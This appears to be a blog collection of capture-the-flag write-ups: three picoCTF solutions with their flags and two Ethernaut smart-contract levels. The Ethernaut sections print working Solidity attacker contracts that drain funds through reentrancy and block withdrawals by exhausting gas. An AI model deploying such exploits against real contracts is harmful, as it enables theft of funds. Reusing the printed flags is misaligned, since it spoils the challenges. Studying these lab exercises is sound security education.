PicoCTF - Safe Opener

Challenge

Tags

PicoCTF 2022 / Reverse Engineering

Description

Can you open this safe?
I forgot the key to my safe but this program is supposed to help me with retrieving the lost key. Can you help me unlock my safe?
Put the password you recover into the picoCTF flag format like:
picoCTF{password}

Writeup

  1. Download the progrem SafeOpener.java. There is a method named openSafe used to check if password correct. String encodedkey is password which was transferd to byte array and encode.
  2. We can derive the password by decoding string encodedkey. Add four lines to openSafe method.
  3. Execute the program. Here’s flag! picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3} ٩(^ᴗ^)۶

PicoCTF - Redaction gone wrong

Challenge

Tags

PicoCTF 2022 / Forensics

Description

Now you DON’T see me.
This report has some critical data in it, some of which have been redacted correctly, while some were not. Can you find an important key that was not redacted properly?

Prereguisite

pdftotext
You can download by sudo apt install poppler-utils.

Writeup

  1. Download the pdf.
    
     wget https://artifacts.picoctf.net/c/264/Financial_Report_for_ABC_Labs.pdf
    
    
  2. Convert pdf to txt.
    
     pdftotext Financial_Report_for_ABC_Labs.pdf
    
    
  3. Grep the flag.
    
     cat Financial_Report_for_ABC_Labs.txt| grep pico
        
    
  4. Here’s flag! picoCTF{C4n_Y0u_S33_m3_fully} ٩(^ᴗ^)۶

PicoCTF - Matryoshka doll

Challenge

Tags

PicoCTF 2021 / Forensics

Description

Matryoshka dolls are a set of wooden dolls of decreasing size placed one inside another. What’s the final one?
Image: this

Prereguisite

Binwalk, which is a tool for searching a given binary image for embedded files and executable code.

Writeup

  1. Download the file.
    
     wget https://mercury.picoctf.net/static/205adad23bf9d8303081a0e71c9beab8/dolls.jpg
    
    
  2. Unzip the file
    
     binwalk -e dolls.jpg
        
    
  3. Use ls command, we can see that there are one file(dolls.jpg) and one folder(_dolls.jpg.extracted). Second picture(2_c.jpg) is in _dolls.jpg.extracted/base_images.
  4. Repeat unzip like step 2 three times.
    
     cd _dolls.jpg.extracted/base_images
     binwalk -e 2_c.jpg
     cd _2_c.jpg.extracted/base_images
     binwalk -e 3_c.jpg
     cd _3_c.jpg.extracted/base_images
     binwalk -e 4_c.jpg
     cd _4_c.jpg.extracted
    
    
  5. Now If we use ls command to list all file under the folder, there is a file named flag.txt !
  6. Here’s our flag. ٩(^ᴗ^)۶
    
     cat flag.txt
     # picoCTF{96fac089316e094d41ea046900197662}
    
    

Ethernaut - 10. Reentrancy

Difficulty: 🌕🌕🌕🌑🌑

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.
  • See the Help page above, section “Beyond the console”

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Writeup

  1. Get new instance.
  2. Get contract’s balance.
    
     await getBalance(contract.address)
     // 0.001
    
    
  3. Create a contract.
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.0;
    
     interface IReentrance {
         function donate(address _to) external payable;
         function withdraw(uint256 _amount) external;
     }
    
     contract ReentrancyAttacker {
         IReentrance levelInstance;
         uint targetValue = 0.001 ether;
    
         constructor(address _levelInstance) {
             levelInstance = IReentrance(_levelInstance);
         }
    
         function attack() public {
             levelInstance.withdraw(targetValue);
         }
    
         fallback() external payable {
             levelInstance.withdraw(targetValue);
         }
     }
    
  4. Compile and deploy with Reentrance instance address.
  5. Donate 0.001 ether to our ReentrancyAttacker contract.
    
     await contract.donate('REENTRANCYATTACKER_CONTRACT_ADDRESS', {value: 0.001 })
    
    
  6. Call attack function in the ReentrancyAttacker.
  7. Submit instance ξ( ✿>◡❛)

Ethernaut - 20. Denial

Difficulty: 🌕🌕🌕🌑🌑

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Writeup

There is a line partner.call{value:amountToSend}(""); in the function withdraw(). So we can create a parner contract and write some malicious code in fallback function to drain all gas.

  1. Get new instance.
  2. Create a new contract.
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     interface IDenial {
         function withdraw() external;
         function setWithdrawPartner(address _partner) external;
     }
    
     contract DenialAttacker {
         fallback () external payable {
             IDenial(msg.sender).withdraw();
         }
     }
    
  3. Compile and deploy.
  4. Call setWithdrawPartner method.
    
     await contract.setWithdrawPartner('YOUR_DENIALATTACKER_CONTRACT_ADDRESS')
    
    
  5. Submit instance ξ( ✿>◡❛)